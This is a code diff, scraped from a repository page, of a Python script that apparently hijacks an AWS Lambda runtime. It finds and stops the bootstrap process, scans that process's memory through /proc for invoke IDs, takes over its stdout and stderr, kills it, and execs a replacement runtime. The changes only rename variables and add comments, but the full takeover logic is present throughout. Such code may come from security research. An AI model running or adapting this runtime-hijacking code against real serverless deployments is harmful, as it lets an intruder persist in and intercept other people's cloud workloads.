19
19
STDERR_FILENO = 2
20
20
21
21
def main ():
22
- pid = os .popen ("pgrep -fn 'python.*bootstrap'" ).read ()
23
- if (not pid ) or (not pid .rstrip ().isdigit ()):
22
+ old_runtime_pid = os .popen ("pgrep -fn 'python.*bootstrap'" ).read ()
23
+ if (not old_runtime_pid ) or (not old_runtime_pid .rstrip ().isdigit ()):
24
24
# Maybe we already switched it, let's try to switch again
25
25
print ("[!] Couldn't find the bootstrap process, checking if we already switched it..." )
26
- pid = os .popen ("pgrep -fn '{}'" .format (DEFAULT_RUNTIME_PATH )).read ()
27
- if (not pid ) or (not pid .rstrip ().isdigit ()):
26
+ old_runtime_pid = os .popen ("pgrep -fn '{}'" .format (DEFAULT_RUNTIME_PATH )).read ()
27
+ if (not old_runtime_pid ) or (not old_runtime_pid .rstrip ().isdigit ()):
28
28
print ("[!] Couldn't find the bootstrap process or our new runtime, " + \
29
29
"maybe someone else already switched the runtime? (or AWS changed the architecture)" )
30
30
return
31
31
32
- pid = pid .rstrip ()
33
- signal_process ("STOP" , pid )
32
+ old_runtime_pid = old_runtime_pid .rstrip ()
33
+ signal_process ("STOP" , old_runtime_pid ) # stop the bootstrap process
34
34
35
- possible_invoke_ids = extract_invoke_id (pid )
35
+ possible_invoke_ids = extract_invoke_id (old_runtime_pid )
36
36
if len (possible_invoke_ids ) == 0 :
37
37
print ("[!] Failed to extract invoke id" )
38
- signal_process ("CONT" , pid )
38
+ signal_process ("CONT" , old_runtime_pid ) # aborting, let the bootstrap process continue
39
39
return
40
40
41
- copy_stdout_stderr (pid )
42
- signal_process ("kill" , pid )
41
+ copy_stdout_stderr (old_runtime_pid )
42
+ signal_process ("kill" , old_runtime_pid ) # kill the bootstrap process
43
43
44
44
new_runtime_path = DEFAULT_RUNTIME_PATH
45
45
os .chmod (new_runtime_path , 0o777 )
46
46
args = [new_runtime_path ] + possible_invoke_ids
47
- os .execv (new_runtime_path , args )
47
+ os .execv (new_runtime_path , args )
48
48
49
- # Sends signal to process
49
+
50
+ # Sends a signal to a process
50
51
def signal_process (signal , pid ):
51
52
cmd = "kill -{} {}" .format (signal , pid )
52
53
os .popen (cmd ).read ()
53
54
54
-
55
+ # Extracts possible invoke ids from a process's memory
55
56
def extract_invoke_id (pid ):
56
57
matches = []
57
58
@@ -65,33 +66,37 @@ def extract_invoke_id(pid):
65
66
m = re .match (r'([0-9A-Fa-f]+)-([0-9A-Fa-f]+) rw' , map_line )
66
67
if m == None :
67
68
continue
69
+
68
70
mem_start = int (m .group (1 ), 16 )
69
71
mem_end = int (m .group (2 ), 16 )
70
72
mem_len = mem_end - mem_start
71
- if mem_len > MAX_MEM :
73
+ if mem_len > MAX_MEM : # don't try to read a memory chunk that is to big for our Lambda max memory
72
74
continue
75
+
73
76
try :
74
77
mem_file .seek (mem_start ) # seek to region start
75
78
mem_chunk = mem_file .read (mem_len ) # read region contents
76
79
except (OSError ,IOError , OverflowError ):
77
80
continue
78
- matches += parse_matches_from_chunk (mem_chunk )
81
+ matches += parse_matches_from_chunk (mem_chunk )
79
82
80
83
return list (set (matches ))
81
84
85
+
86
+ # Search for invoke ids in the current memory chunk
82
87
def parse_matches_from_chunk (chunk ):
83
88
if len (chunk ) < INVOKE_MIN_LEN :
84
- return []
89
+ return [] # chunk not big enough to contain invoke ids
85
90
86
91
matches = []
87
-
88
92
for m in re .finditer (INVOKE_REGEX , chunk ):
89
93
found_invoke_id = m .group (1 )
90
94
matches .append (str (found_invoke_id , "ascii" ))
91
95
92
96
return matches
93
97
94
98
99
+ # Copy the old runtime stdout and stderr to our process
95
100
def copy_stdout_stderr (pid ):
96
101
path = "/proc/{}/fd/1" .format (pid )
97
102
bootstrap_stdout = os .open (path , os .O_WRONLY )
0 commit comments